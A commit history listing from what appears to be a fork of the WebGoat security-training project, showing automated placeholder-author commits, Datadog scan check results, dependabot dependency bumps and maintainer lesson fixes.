2025-05-10 21:20:08 +00:00
Author
b53b7bc481 Automated commit 7 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:17:22 +00:00
author1@example.com
b9a72f1772 Automated commit 6 by <author1@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:14:35 +00:00
One
5e8edad835 Automated commit 5 by One
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:11:48 +00:00
Author
b7efb91c73 Automated commit 4 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:09:02 +00:00
adwsuthor7@example.com
d3864438a7 Automated commit 3 by <adwsuthor7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:06:15 +00:00
Seven
e2ab1c0441 Automated commit 2 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m47s
2025-05-10 21:03:28 +00:00
DWSAuthor
38ce103ceb Automated commit 1 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:00:42 +00:00
autdwshor6@example.com
dc68db40c7 Automated commit 12 by <autdwshor6@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 31m2s
2025-05-10 18:31:14 +00:00
Six
6feb1d16f5 Automated commit 11 by Six
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:28:27 +00:00
DWSAuthor
ebe222661f Automated commit 10 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:25:41 +00:00
adwsuthor7@example.com
f3bc3b0ad3 Automated commit 9 by <adwsuthor7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:22:54 +00:00
Seven
fba6fc6191 Automated commit 8 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:20:07 +00:00
DWSAuthor
2e831341e0 Automated commit 7 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 49s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:17:21 +00:00
autdwshor4@example.com
327e1f7899 Automated commit 6 by <autdwshor4@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:14:34 +00:00
Four
513592f424 Automated commit 5 by Four
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:11:47 +00:00
DWSAuthor
51276dfcb9 Automated commit 4 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:09:01 +00:00
author7@example.com
6053d53b55 Automated commit 3 by <author7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 56s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:06:14 +00:00
Seven
46cb95cb53 Automated commit 2 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:03:27 +00:00
Author
3ef736982e Automated commit 1 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 49s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:00:41 +00:00
678a76a029
more fixes
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 31m2s
2025-05-10 12:55:35 -04:00
Author One
c79a74d499 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Has been cancelled
2025-05-10 16:54:41 +00:00
Author One
a61fc60357 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 3m3s
2025-05-10 16:51:41 +00:00
af45e392d6
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks are pending
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Has started running
2025-05-10 12:49:11 -04:00
Author One
7c019cf2ab Automated commit 1 by Author One
Some checks failed
DDSAST / Datadog Static Analyzer (push) Has been cancelled
DDSDS / Datadog Static Analyzer (push) Has been cancelled
DDSCA / Datadog SBOM Generation and Upload (push) Has been cancelled
2025-05-10 16:48:41 +00:00
c325068f51
Merge remote-tracking branch 'refs/remotes/origin/main' 2025-05-10 12:48:17 -04:00
788927a5a7
typo...huh 2025-05-10 12:47:57 -04:00
Author One
f209d57e22 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 56s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 29s
2025-05-10 16:45:47 +00:00
2cd85583ee
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 36s
2025-05-10 12:43:32 -04:00
9f64a3209a
rename it all 2025-05-10 12:43:16 -04:00
DWSAuthor Two
f263888c03 Automated commit 12 by DWSAuthor Two 2025-05-10 16:23:30 +00:00
DWSAuthor One
11b8425e45 Automated commit 11 by DWSAuthor One 2025-05-10 16:21:26 +00:00
Author Ten
28f6eee326 Automated commit 10 by Author Ten 2025-05-10 16:19:21 +00:00
Author Nine
1dfcf5b271 Automated commit 9 by Author Nine 2025-05-10 16:17:17 +00:00
Author Eight
4a884b5332 Automated commit 8 by Author Eight 2025-05-10 16:15:12 +00:00
Author Seven
7b95daa7bf Automated commit 7 by Author Seven 2025-05-10 16:13:08 +00:00
Author Six
c69efc52e4 Automated commit 6 by Author Six 2025-05-10 16:11:03 +00:00
Author Five
0e4206b8f1 Automated commit 5 by Author Five 2025-05-10 16:08:59 +00:00
Author Four
60ffca7e56 Automated commit 4 by Author Four 2025-05-10 16:06:55 +00:00
Author Three
1812bacaa7 Automated commit 3 by Author Three 2025-05-10 16:04:50 +00:00
Author Two
327f9effbd Automated commit 2 by Author Two 2025-05-10 16:02:46 +00:00
Author One
db7daa227f Automated commit 1 by Author One 2025-05-10 16:00:41 +00:00
95df44ca29
empty for the rules
All checks were successful
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 49s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 54s
Datadog Static Analysis / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 23m6s
2025-05-10 08:35:06 -04:00
2d549e4579
remove semgrep from scanning
All checks were successful
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 48s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 55s
Datadog Static Analysis / Datadog Static Analyzer (push) Successful in 1m28s
2025-05-10 08:32:33 -04:00
f2e2616a88
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks failed
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 50s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 57s
Datadog Static Analysis / Datadog Static Analyzer (push) Has been cancelled
2025-05-10 08:29:53 -04:00
f6c2996cd4
add long commit delay and scanning 2025-05-10 08:29:25 -04:00
Author Two
c25bc7d7a6 Automated commit 2 by Author Two 2025-05-10 12:28:00 +00:00
Author One
953e7fd206 Automated commit 1 by Author One 2025-05-10 12:27:40 +00:00
e4cb868623
more test
All checks were successful
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 36s
2025-05-10 08:24:45 -04:00
5efbd03d98
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 13s
2025-05-10 08:21:54 -04:00
7fabcc7fd5
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 20s
2025-05-10 08:15:08 -04:00
27ab9f89fa
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 23s
2025-05-10 08:10:21 -04:00
dependabot[bot]
06c0be257f
chore: bump org.jruby:jruby from 10.0.0.0 to 10.0.0.1 (#2123) 2025-05-07 21:08:52 +02:00
Nanne Baars
8b324b3954
chore: comment out script generation (#2120)
Not necessary to have this enabled while running WebGoat. Only helpful for development.
2025-05-05 20:17:09 +02:00
dependabot[bot]
cba4ff3d48
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2111)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.44.3 to 2.44.4.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.44.3...maven/2.44.4)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-version: 2.44.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 20:16:56 +02:00
dependabot[bot]
ca68d6bcf4
chore: bump org.apache.commons:commons-text from 1.13.0 to 1.13.1 (#2112)
Bumps org.apache.commons:commons-text from 1.13.0 to 1.13.1.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-version: 1.13.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:41:50 +02:00
dependabot[bot]
f6990690de
chore: bump docker/build-push-action from 6.15.0 to 6.16.0 (#2119)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.15.0 to 6.16.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.15.0...v6.16.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: 6.16.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:28:08 +02:00
dependabot[bot]
634162f279
chore: bump org.wiremock:wiremock-standalone from 3.12.1 to 3.13.0 (#2118)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.1 to 3.13.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.1...3.13.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-version: 3.13.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:59 +02:00
dependabot[bot]
9f77d74f3e
chore: bump com.google.guava:guava from 33.4.7-jre to 33.4.8-jre (#2110)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.7-jre to 33.4.8-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-version: 33.4.8-jre
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:23 +02:00
dependabot[bot]
55ea361f45
chore: bump org.jruby:jruby from 9.4.12.0 to 10.0.0.0 (#2109)
Bumps org.jruby:jruby from 9.4.12.0 to 10.0.0.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-version: 10.0.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:12 +02:00
René Zubcevic
fc6c61397d
set the browser language to pass the playwright tests if default lang of browser is not en (#2108) 2025-04-18 12:48:34 +02:00
Nanne Baars
f45bf6171b
fix: remove mailing list references (#2097) 2025-04-02 07:22:38 +02:00
Nanne Baars
b3dec8bdc9
fix: challenge introduction page loads (#2095) 2025-03-31 22:49:26 +02:00
Nanne Baars
c3f9158eab chore: text cleanup 2025-03-31 21:38:33 +02:00
Nanne Baars
ec3b9e8aaf
chore: update Java version in README (#2091)
Closes: gh-2072

* chore: add Maven wrapper jar file

This way we don't download it every time from a Maven repository saving some band with.

* chore: remove @authors tag
2025-03-31 21:05:15 +02:00
dependabot[bot]
9ec75d5a56
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#2093)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.2 to 3.5.3.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.2...surefire-3.5.3)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:13 +02:00
dependabot[bot]
49dc370931
chore: bump com.google.guava:guava from 33.4.5-jre to 33.4.6-jre (#2094)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.5-jre to 33.4.6-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:02 +02:00
dependabot[bot]
1e1a8af39e
chore: bump org.springframework.boot:spring-boot-starter-parent (#2081) 2025-03-29 16:00:18 +01:00
dependabot[bot]
451f5615d2
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.3 to 6.0.0 (#2082) 2025-03-29 15:59:55 +01:00
dependabot[bot]
a4305f408e
chore: bump com.google.guava:guava from 33.4.0-jre to 33.4.5-jre (#2083) 2025-03-29 15:59:42 +01:00
dependabot[bot]
7dea5a1bde
chore: bump com.microsoft.playwright:playwright from 1.50.0 to 1.51.0 (#2084) 2025-03-29 15:59:29 +01:00
Geoffrey Tsai
8cd0b0a8c9
resolve the url for the developer tools network (#2087) 2025-03-29 15:59:09 +01:00
Geoffrey Tsai
72c09f7240
update the sql mitigation lessons 9 and 10 to contain the correct urls (#2077) 2025-03-21 14:15:19 +01:00
dependabot[bot]
d8c402f0d6
chore: bump docker/login-action from 3.3.0 to 3.4.0 (#2074)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-20 12:30:50 +01:00
Nanne Baars
95136c9930
chore: update about page (#2070) 2025-03-12 06:59:01 +01:00
Nanne Baars
23d6fe6f36
fix: correct number of solved assignments in report card (#2065)
* fix: correct number of solved assignments in report card

Filter the list of assignments to accurately count the number of solved assignments.

Closes: gh-2063

* chore: remove scoreboard code

This is added when we run a CTF challenge during OWASP AppSecEU in 2017. We can remove this code.

Closes: gh-2064
2025-03-11 22:57:49 +01:00
Nanne Baars
2c5e4c4491
chore: use webgoat.org (#2066)
Closes: gh-2046
2025-03-11 22:47:02 +01:00
dependabot[bot]
c89fcb140a
chore: bump org.jsoup:jsoup from 1.18.3 to 1.19.1 (#2058)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.18.3 to 1.19.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.18.3...jsoup-1.19.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:45:10 +01:00
dependabot[bot]
3cfd053c83
chore: bump org.wiremock:wiremock-standalone from 3.12.0 to 3.12.1 (#2059)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.0 to 3.12.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.0...3.12.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:44:45 +01:00
Nanne Baars
10adb1b05f chore: back to snapshot 2025-03-11 20:28:08 +01:00
Nanne Baars
c3ed45a733 chore: new release 2025.3 2025-03-11 20:16:10 +01:00
Nanne Baars
e2f80b18e2
fix: rewrite questions (#2057)
Closes: gh-1178
2025-03-11 20:05:35 +01:00
Nanne Baars
641f24df9d
fix: update filtering internal endpoints in ZAP (#2055) 2025-03-08 12:40:09 +01:00
dependabot[bot]
3b3933b69e
chore: bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.4.0 to 3.6.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.4.0...v3.6.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:56 +01:00
dependabot[bot]
05497371db
chore: bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.14.0 to 6.15.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.14.0...v6.15.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:47 +01:00
Nanne Baars
32cf225d6b chore: back to snapshot 2025-03-02 20:47:20 +01:00
Nanne Baars
affa3f7a1c chore: release 2025.2 2025-03-02 20:37:33 +01:00
Nanne Baars
e9f79cc739
fix: SQL advanced assignment 5 (#2047)
- Add and show correct hints
- Fix solving the lesson immediately when you register as tom. Now uses `informationMessage` to display a message in the UI
- Add Playwright test

Closes: gh-2045
2025-03-02 20:31:05 +01:00
Nanne Baars
c37a8e8c19 chore: back to snapshot 2025-03-01 17:16:13 +01:00
Nanne Baars
5eeeee1e66 chore: extend create release documentation 2025-03-01 17:14:59 +01:00
Nanne Baars
0d4cc06342 chore: new release 2025.1 2025-03-01 16:38:56 +01:00
Nanne Baars
1d74727db6 chore: new release 2025.0 2025-03-01 16:03:06 +01:00
dependabot[bot]
957cd161f2
chore: bump org.wiremock:wiremock-standalone from 3.11.0 to 3.12.0 (#2026)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.11.0...3.12.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-01 11:01:46 +01:00
Nanne Baars
16b7a13de8
chore: add test case for multiple users solving lessons (#2043) 2025-02-28 20:56:15 +01:00
Nanne Baars
95dcc56a19
fix: register user while already logged in as other user. (#2042) 2025-02-28 20:56:00 +01:00
Nanne Baars
55bd0a49db
chore: cleanup IT tests (#2040) 2025-02-28 18:39:23 +01:00
dependabot[bot]
b5af30c819
chore: bump docker/build-push-action from 6.13.0 to 6.14.0 (#2033) 2025-02-27 18:35:10 +01:00
dependabot[bot]
3d4780d7e0
chore: bump org.testcontainers:testcontainers from 1.20.4 to 1.20.5 (#2034) 2025-02-27 18:34:58 +01:00
dependabot[bot]
92d4981b90
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2035) 2025-02-27 18:34:47 +01:00
dependabot[bot]
8166b10c1a
chore: bump org.testcontainers:junit-jupiter from 1.20.4 to 1.20.5 (#2036) 2025-02-27 18:34:36 +01:00
dependabot[bot]
6d1ebadf85
chore: bump org.springframework.boot:spring-boot-starter-parent (#2037) 2025-02-27 18:34:24 +01:00
dependabot[bot]
9572a7b840
chore: bump com.microsoft.playwright:playwright from 1.49.0 to 1.50.0 (#2025) 2025-02-22 20:55:35 +01:00
dependabot[bot]
6c16d4ccfc
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.2 to 5.9.3 (#2027) 2025-02-22 20:55:07 +01:00
dependabot[bot]
93c3f19ca7
chore: bump org.jruby:jruby from 9.4.11.0 to 9.4.12.0 (#2028) 2025-02-22 20:54:55 +01:00
dependabot[bot]
fadb07d73e
chore: bump devops-infra/action-pull-request from 0.5.5 to 0.6.0 (#2029) 2025-02-22 20:54:44 +01:00
dependabot[bot]
f66126e53d
chore: bump devops-infra/action-commit-push from 0.9.2 to 0.10.0 (#2030) 2025-02-22 20:54:32 +01:00
Nanne Baars
c3c520f487
refactor: small updates and improvements in HTTP Basic lesson (#2024)
* refactor: cleanup attack result and builder

* refactor: solve compiler warnings

* feature: improve HTTP basics lesson

Closes: #494
2025-02-18 14:26:21 +01:00
Nanne Baars
00f3538be2
chore: format all code according to SPDX (#2023) 2025-02-16 19:48:05 +01:00
dependabot[bot]
2a5b4385ea
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2006)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.41.1 to 2.44.2.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.41.1...maven/2.44.2)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 19:52:40 +01:00
dependabot[bot]
79ac5b7b99
chore: bump docker/build-push-action from 6.12.0 to 6.13.0 (#2012)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:37 +01:00
dependabot[bot]
8638d94595
chore: bump org.springframework.boot:spring-boot-starter-parent (#2013)
Bumps [org.springframework.boot:spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.4.1 to 3.4.2.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.4.1...v3.4.2)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:26 +01:00
dependabot[bot]
3ef5e34dd0
chore: bump org.jruby:jruby from 9.4.9.0 to 9.4.11.0 (#2017)
Bumps org.jruby:jruby from 9.4.9.0 to 9.4.11.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:09 +01:00
dependabot[bot]
019ab0495f
chore: bump com.auth0:java-jwt from 4.4.0 to 4.5.0 (#2018)
Bumps [com.auth0:java-jwt](https://github.com/auth0/java-jwt) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/auth0/java-jwt/releases)
- [Changelog](https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md)
- [Commits](https://github.com/auth0/java-jwt/compare/4.4.0...4.5.0)

---
updated-dependencies:
- dependency-name: com.auth0:java-jwt
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:59 +01:00
dependabot[bot]
2aeee521ab
chore: bump org.wiremock:wiremock-standalone from 3.10.0 to 3.11.0 (#2019)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.10.0...3.11.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:49 +01:00
dependabot[bot]
b940e5ce58
chore: bump docker/setup-qemu-action from 3.3.0 to 3.4.0 (#2022)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:38 +01:00
Nanne Baars
9c90a24cc0
docs(CSRFFeedback.java): fixed one invalid solution about CSRF attack (#2010)
